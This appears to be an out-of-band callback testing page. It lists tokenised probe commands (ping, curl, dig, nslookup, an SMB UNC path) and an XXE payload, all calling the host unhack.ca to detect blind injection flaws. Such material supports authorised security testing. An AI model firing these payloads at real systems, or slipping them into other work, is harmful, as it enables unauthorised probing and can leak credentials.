$ ping -c1 -p 0035872ee9aaaf42c9acfb7f43b91c00 unhack.ca
$ curl http://unhack.ca/p/35872ee9aaaf42c9acfb7f43b91c
$ dig 35872ee9aaaf42c9acfb7f43b91c @unhack.ca
$ dig 35872ee9aaaf42c9acfb7f43b91c.ns.unhack.ca
C:\> nslookup 35872ee9aaaf42c9acfb7f43b91c unhack.ca
C:\> type \\unhack.ca\35872ee9aaaf42c9acfb7f43b91c\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/35872ee9aaaf42c9acfb7f43b91c">]>
<foo>&xxe;</foo>
Waiting for ping...